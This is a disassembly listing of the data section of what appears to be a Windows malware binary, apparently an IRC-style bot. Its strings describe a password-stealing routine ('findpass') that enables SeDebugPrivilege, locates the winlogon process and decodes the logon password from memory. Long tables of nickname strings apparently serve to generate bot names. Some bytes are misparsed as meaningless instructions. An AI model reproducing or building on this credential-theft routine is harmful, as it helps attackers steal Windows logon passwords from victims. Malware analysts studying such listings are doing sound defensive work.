		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_43D220	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417093o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_43D254	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417066o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_43D280	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_41705Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 4
unk_43D2B8	db  2Dh	; -		; DATA XREF: sub_416F1A+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_43D314	dd offset byte_530055	; DATA XREF: sub_416F1A+DCo
		dd offset aZI+1
		dd offset dword_4F0044
		dd offset loc_41004D
		dd offset byte_4E0049
		dd 0
off_43D32C	dd offset byte_530055	; DATA XREF: sub_416F1A+CEo
		dd offset aZI+1
		dd offset loc_41004D+1
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1A+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
					; sub_416F1A+161o ...
		align 10h
unk_43D3F0	db  2Dh	; -		; DATA XREF: sub_416F1A+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 10h
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170EC+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170EC+123o
		align 10h
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170EC+AFo
		align 4
dword_43D43C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417552+70o
					; sub_4175E9+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_43D48C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175E9+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_43D4E0	dd offset aQ		; DATA XREF: sub_417ADD+5Cr
					; "q"
		dd offset dword_43E064
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset dword_43E060
		dd offset aU		; "u"
		dd offset aI		; "i"
		dd offset aP		; "p"
		dd offset aA		; "a"
		dd offset aS_0		; "s"
		dd offset aD		; "d"
		dd offset dword_43E05C
		dd offset dword_43E058
		dd offset dword_43E054
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_43E050
		dd offset dword_43E04C
		dd offset asc_42E6F8	; "x"
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_43E048
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_43E044
		dd offset dword_43E040
		dd offset dword_43E03C
		dd offset dword_43E038
		dd offset dword_43E034
		dd offset word_43E030
		dd offset dword_43E02C
		dd offset aI_0		; "I"
		dd offset dword_43E028
		dd offset dword_43E024
		dd offset aA_0		; "A"
		dd offset dword_43E020
		dd offset dword_43E01C
		dd offset dword_43E018
		dd offset dword_43E014
		dd offset dword_43E010
		dd offset dword_43E00C
		dd offset dword_43E008
		dd offset dword_43E004
		dd offset dword_43E000
		dd offset dword_43DFFC
		dd offset dword_43DFF8
		dd offset dword_43DFF4
		dd offset dword_43DFF0
		dd offset word_43DFEC
		dd offset aM_1		; "M"
		dd offset aSmartmir	; "SMARTMIR"
; ---------------------------------------------------------------------------
		aam	0DFh
		inc	ebx
		add	ah, cl
		fild	word ptr [ebx+0]
		rcr	bh, 43h
		add	[eax-4FFFBC21h], bh

loc_43D5C1:				; CODE XREF: ___:0043D5E0j
		fild	word ptr [ebx+0]
		test	al, 0DFh
		inc	ebx
		add	[eax-67FFBC21h], ah
		fild	word ptr [ebx+0]
		nop
		fild	word ptr [ebx+0]
		test	bl, bh
		inc	ebx
		add	[eax+780043DFh], al
		fild	word ptr [ebx+0]
		jo	short loc_43D5C1
		inc	ebx
		add	[edx+ecx*8-2093FFBEh], bl
		inc	ebx
		add	[edi+ebx*8+43h], ah
		add	[edi+ebx*8+43h], bl
		add	[edi+ebx*8+43h], dl
		add	[edi+ebx*8+43h], cl
		add	[eax-21h], al
		inc	ebx
		add	[eax], bh
		fild	word ptr [ebx+0]
		xor	bh, bl
		inc	ebx
		add	[eax], ch
		fild	word ptr [ebx+0]
		cwde
; ---------------------------------------------------------------------------
		db 0CEh, 42h, 0
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl_0	; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
; ---------------------------------------------------------------------------

loc_43D638:				; CODE XREF: ___:0043D658j
		mov	esp, 0B40043DEh
		fiadd	word ptr [ebx+0]
		lodsb
		fiadd	word ptr [ebx+0]
		pushf
		fiadd	word ptr [ebx+0]
		xchg	eax, esp
		fiadd	word ptr [ebx+0]
		mov	dh, bl
		inc	ebx
		add	[eax+780043DEh], al
		fiadd	word ptr [ebx+0]
		jo	short loc_43D638
		inc	ebx
		add	[eax-22h], ch
		inc	ebx
		add	[eax-22h], ah
		inc	ebx
		add	[eax-22h], bl
		inc	ebx
		add	[esi+ebx*8+43h], cl
		add	[esi+ebx*8+43h], al
		add	[eax], bh
		fiadd	word ptr [ebx+0]
		sub	al, 0DEh
		inc	ebx
		add	[esi+ebx*8], ah
		inc	ebx
		add	[esi+ebx*8], bl
		inc	ebx
		add	[esi+ebx*8], dl
		inc	ebx
		add	[esi+ebx*8], cl
		inc	ebx
		add	[esi+ebx*8], al
		inc	ebx
		add	ah, bh
		fld	qword ptr [ebx+0]
; ---------------------------------------------------------------------------
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_43DD94
		dd offset off_43DD90
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_43DBFC
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_43D7E0	dd offset aSex		; DATA XREF: sub_417ADD+41r
					; sub_417ADD+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck_0	; "|suck|"
		dd offset aLuck_0	; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_0	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick_0	; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_43E048
		dd offset aC		; "c"
		dd offset aD		; "d"
		dd offset aE		; "e"
		dd offset dword_43E05C
		dd offset dword_43E058
		dd offset dword_43E054
		dd offset aI		; "i"
		dd offset dword_430E34
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_43E050
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_43E064
		dd offset asc_42E6F8	; "x"
		dd offset dword_43E060
		dd offset dword_43E04C
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_43E04C
		dd offset dword_43E058
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_43DA24
		dd offset aBbl		; "|bbl"
		dd offset dword_4429D8
		dd offset dword_4429D8
		dd offset a___0		; "_|_"
		dd offset dword_4429D8
		dd offset dword_4429D8
		dd offset dword_4429D8
		dd offset dword_4429D8
		dd offset dword_43E018
		dd offset aM_1		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF		; "^^^f^"
		dd offset dword_43E048
		dd offset dword_4429D8
		dd offset aSleeping	; "Sleeping"
		dd offset dword_4429D8
		dd offset dword_4429D8
		dd offset aFuck_0	; "Fuck"
		dd offset aFree_0	; "Free"
		dd offset dword_4429D8
		dd offset dword_4429D8
		dd offset dword_43DFFC
		dd offset dword_4429D8
		dd offset off_43D9E4
		dd offset aGirl_1	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_43D9AC
		dd offset aLol		; "lol"
		dd offset dword_43D9A4
		dd offset dword_43D998
		dd offset dword_43D990
		dd offset dword_43D988
		dd offset dword_43D980
		dd offset dword_43D97C
		dd offset dword_43D978
dword_43D978	dd 7536h		; DATA XREF: ___:0043D974o
dword_43D97C	dd 7535h		; DATA XREF: ___:0043D970o
dword_43D980	dd 7C75347Ch, 0		; DATA XREF: ___:0043D96Co
dword_43D988	dd 6F79347Bh, 7D75h	; DATA XREF: ___:0043D968o
dword_43D990	dd 7375347Ch, 7Ch	; DATA XREF: ___:0043D964o
dword_43D998	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:0043D960o
dword_43D9A4	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:0043D95Co
dword_43D9AC	dd 746F74h		; DATA XREF: ___:0043D954o
aMofo		db 'mofo',0             ; DATA XREF: ___:0043D950o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:0043D94Co
		align 10h
aMuha		db 'muha',0             ; DATA XREF: ___:0043D948o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:0043D944o
		align 10h
aAha		db 'aha',0              ; DATA XREF: ___:0043D940o
aGurl		db 'gurl',0             ; DATA XREF: ___:0043D938o
		align 4
aGirl_1		db 'GIRL',0             ; DATA XREF: ___:0043D934o
		align 4
off_43D9E4	dd offset word_594F42	; DATA XREF: ___:0043D930o
aFree_0		db 'Free',0             ; DATA XREF: ___:0043D91Co
		align 10h
aFuck_0		db 'Fuck',0             ; DATA XREF: ___:0043D918o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:0043D90Co
		align 4
aF		db '^^^f^',0            ; DATA XREF: ___:0043D900o
		align 4
aSad		db 'Sad',0              ; DATA XREF: ___:0043D8FCo
aLuvu		db 'LUVU',0             ; DATA XREF: ___:0043D8F8o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:0043D8DCo
aBbl		db '|bbl',0             ; DATA XREF: ___:0043D8D0o
		align 4
off_43DA24	dd offset loc_425242	; DATA XREF: ___:0043D8CCo
aMuckc		db 'muckc',0            ; DATA XREF: ___:0043D8B8o
		align 10h
aTruck		db 'truck',0            ; DATA XREF: ___:0043D8B4o
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:0043D8B0o
		align 10h
aLuvy		db 'luvy',0             ; DATA XREF: ___:0043D8ACo
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:0043D8A8o
		align 4
aSdf		db 'sdf',0              ; DATA XREF: ___:0043D8A4o
aRt		db 'rt',0               ; DATA XREF: ___:0043D8A0o
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:0043D89Co
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:0043D898o
		align 4
aRg		db 'rg',0               ; DATA XREF: ___:0043D894o
		align 10h
aHappy		db 'happy',0            ; DATA XREF: ___:0043D890o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:0043D870o
		align 4
aQ8A		db '|q8|a',0            ; DATA XREF: ___:0043D828o
		align 4
aQ8		db 'Q8',0               ; DATA XREF: ___:0043D824o
		align 4
aSick_0		db 'sick}}',0           ; DATA XREF: ___:0043D820o
		align 10h
aWiked		db '|wiked|',0          ; DATA XREF: ___:0043D81Co
aLuvuF		db '||luvu-f|',0        ; DATA XREF: ___:0043D818o
		align 4
aGens		db '{gens|',0           ; DATA XREF: ___:0043D814o
		align 4
aSex_0		db '{sex}',0            ; DATA XREF: ___:0043D810o
		align 4
aHub		db '{hub}',0            ; DATA XREF: ___:0043D80Co
		align 4
aLuck_0		db '|luck|',0           ; DATA XREF: ___:0043D808o
		align 4
aSuck_0		db '|suck|',0           ; DATA XREF: ___:0043D804o
		align 4
aTot		db '-|tot|',0           ; DATA XREF: ___:0043D800o
		align 4
aWoh		db '|woh|',0            ; DATA XREF: ___:0043D7FCo
		align 4
aTambe		db '|tambe|',0          ; DATA XREF: ___:0043D7F8o
aLag		db 'lag',0              ; DATA XREF: ___:0043D7F4o
aBad		db 'bad',0              ; DATA XREF: ___:0043D7F0o
aZex		db 'zex',0              ; DATA XREF: ___:0043D7E8o
aLez		db 'lez',0              ; DATA XREF: ___:0043D7E4o
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:0043D7DCo
		align 10h
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:0043D7D8o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:0043D7D4o
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:0043D7D0o
		align 10h
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:0043D7CCo
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:0043D7C8o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:0043D7C4o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:0043D7C0o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:0043D7BCo
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: ___:0043D7B8o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:0043D7B4o
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:0043D7B0o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:0043D7ACo
		align 10h
aUla		db 'ula',0              ; DATA XREF: ___:0043D7A8o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:0043D7A4o
aAkden		db 'akden',0            ; DATA XREF: ___:0043D7A0o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: ___:0043D79Co
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:0043D798o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: ___:0043D794o
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:0043D790o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:0043D78Co
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:0043D788o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:0043D784o
		align 10h
aAnkm		db 'ankM',0             ; DATA XREF: ___:0043D780o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:0043D77Co
		align 10h
aDevre		db 'devre',0            ; DATA XREF: ___:0043D778o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:0043D774o
		align 10h
aBirsen		db 'birsen',0           ; DATA XREF: ___:0043D770o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:0043D76Co
		align 10h
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:0043D768o
		align 4
off_43DBFC	dd offset byte_4B5245	; DATA XREF: ___:0043D764o
aSevda		db 'sevda',0            ; DATA XREF: ___:0043D760o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:0043D75Co
		align 10h
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:0043D758o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:0043D754o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: ___:0043D750o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:0043D74Co
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:0043D748o
		align 10h
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:0043D744o
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:0043D740o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:0043D73Co
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:0043D738o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:0043D734o
		align 10h
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:0043D730o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:0043D72Co
		align 10h
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:0043D728o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:0043D724o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:0043D720o
		align 10h
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:0043D71Co
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:0043D718o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:0043D714o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:0043D710o
aHoly		db 'holy',0             ; DATA XREF: ___:0043D70Co
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: ___:0043D708o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:0043D704o
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:0043D700o
		align 10h
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:0043D6FCo
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:0043D6F8o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:0043D6F4o
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:0043D6F0o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:0043D6ECo
		align 10h
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:0043D6E8o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:0043D6E4o
aArda		db 'arda',0             ; DATA XREF: ___:0043D6E0o
		align 10h
aDevran		db 'devran',0           ; DATA XREF: ___:0043D6DCo
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:0043D6D8o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:0043D6D4o
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:0043D6D0o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:0043D6CCo
		align 4
aBogac		db 'bogac',0            ; DATA XREF: ___:0043D6C8o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:0043D6C4o
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:0043D6C0o
		align 10h
off_43DD90	dd offset byte_457441	; DATA XREF: ___:0043D6BCo
dword_43DD94	dd 414C5941h, 2Dh	; DATA XREF: ___:0043D6B8o
aAlbina		db 'albina',0           ; DATA XREF: ___:0043D6B4o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:0043D6B0o
		align 10h
aZack		db 'ZACK',0             ; DATA XREF: ___:0043D6ACo
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:0043D6A8o
		align 10h
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:0043D6A4o
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:0043D6A0o
		align 10h
aPelincik	db 'pelincik',0         ; DATA XREF: ___:0043D69Co
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:0043D698o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:0043D694o
		align 10h
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:0043D690o
		align 4
aPiramit	db 'PIRAMIT',0
aAslii		db 'aslii',0
		align 4
aErnesto	db 'ERNESTO',0
aHaticem	db 'haticem',0
aArzu		db 'ARZU',0
		align 4
aSudenur	db 'SUDENUR',0
aSevmekmi	db 'sevmekmi',0
		align 4
aVenedik34	db 'venedik34',0
		align 4
aTekir		db 'tekir',0
		align 4
aMERVE		db 'M-E-R-V-E',0
		align 4
aTrend3		db 'trend3',0
		align 10h
aMelekk		db 'melekk',0
		align 4
aAkin		db 'AKIN',0
		align 10h
aMary_0		db 'MARY',0
		align 4
aJericho	db 'JERICHO',0
aTolga34	db 'Tolga34',0
aMisssunday	db 'misssunday',0
		align 4
aIrmal		db 'irmal',0
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0
		align 4
aBerk19		db 'berk19',0
		align 4
aHexaaa		db 'hexaaa',0
		align 4
aErkan27	db 'erkan27',0
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:0043D634o
		align 10h
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:0043D630o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:0043D62Co
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:0043D628o
aReshma		db 'reshma',0           ; DATA XREF: ___:0043D624o
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:0043D620o
		align 10h
aGirl_0		db 'GirL',0             ; DATA XREF: ___:0043D61Co
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:0043D618o
		align 10h
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:0043D614o
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:0043D610o
		align 4
aManee		db 'manee',0
		align 10h
aTroller	db 'troller',0
aLuisa		db 'Luisa',0
		align 10h
aNastysha	db 'nastysha',0
		align 4
aRimpy		db 'rimpy',0
		align 4
aJanno		db 'janno',0
		align 4
aBunty		db 'bunty',0
		align 4
aHeval		db 'heval',0
		align 4
aCme		db 'cme',0
aTalika		db 'talika',0
		align 4
aShez		db 'Shez',0
		align 10h
aKen		db 'ken',0
aFlexster	db 'flexster',0
		align 10h
aKoko		db 'koko',0
		align 4
aMale		db 'male',0
		align 10h
aSwin		db 'swin',0
		align 4
aCar1nna	db 'Car1nna',0
aKrizha		db 'KRIZHA',0
		align 4
aEmilya		db 'emilya',0
		align 10h
aBobmarley	db 'BOBMARLEY',0
		align 4
aMaxxguy	db 'maxxguy',0
aFarooq		db 'farooq',0
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:0043D5ACo
		align 4
aM_1:					; DATA XREF: ___:0043D5A8o
					; ___:0043D8F4o
		unicode	0, <M>,0
word_43DFEC	dw 4Eh			; DATA XREF: sub_419E79+38r
					; ___:0043D5A4o
		align 10h
dword_43DFF0	dd 42h			; DATA XREF: ___:0043D5A0o
dword_43DFF4	dd 56h			; DATA XREF: ___:0043D59Co
dword_43DFF8	dd 43h			; DATA XREF: ___:0043D598o
dword_43DFFC	dd 58h			; DATA XREF: ___:0043D594o
					; ___:0043D928o
dword_43E000	dd 5Ah			; DATA XREF: ___:0043D590o
dword_43E004	dd 4Ch			; DATA XREF: ___:0043D58Co
dword_43E008	dd 4Bh			; DATA XREF: ___:0043D588o
dword_43E00C	dd 4Ah			; DATA XREF: ___:0043D584o
dword_43E010	dd 48h			; DATA XREF: ___:0043D580o
dword_43E014	dd 47h			; DATA XREF: ___:0043D57Co
dword_43E018	dd 46h			; DATA XREF: ___:0043D578o
					; ___:0043D8F0o
dword_43E01C	dd 44h			; DATA XREF: ___:0043D574o
dword_43E020	dd 53h			; DATA XREF: ___:0043D570o
dword_43E024	dd 50h			; DATA XREF: ___:0043D568o
dword_43E028	dd 4Fh			; DATA XREF: ___:0043D564o
dword_43E02C	dd 55h			; DATA XREF: ___:0043D55Co
word_43E030	dw 59h			; DATA XREF: sub_41A19D+38r
					; ___:0043D558o
		align 4
dword_43E034	dd 54h			; DATA XREF: ___:0043D554o
dword_43E038	dd 52h			; DATA XREF: ___:0043D550o
dword_43E03C	dd 45h			; DATA XREF: ___:0043D54Co
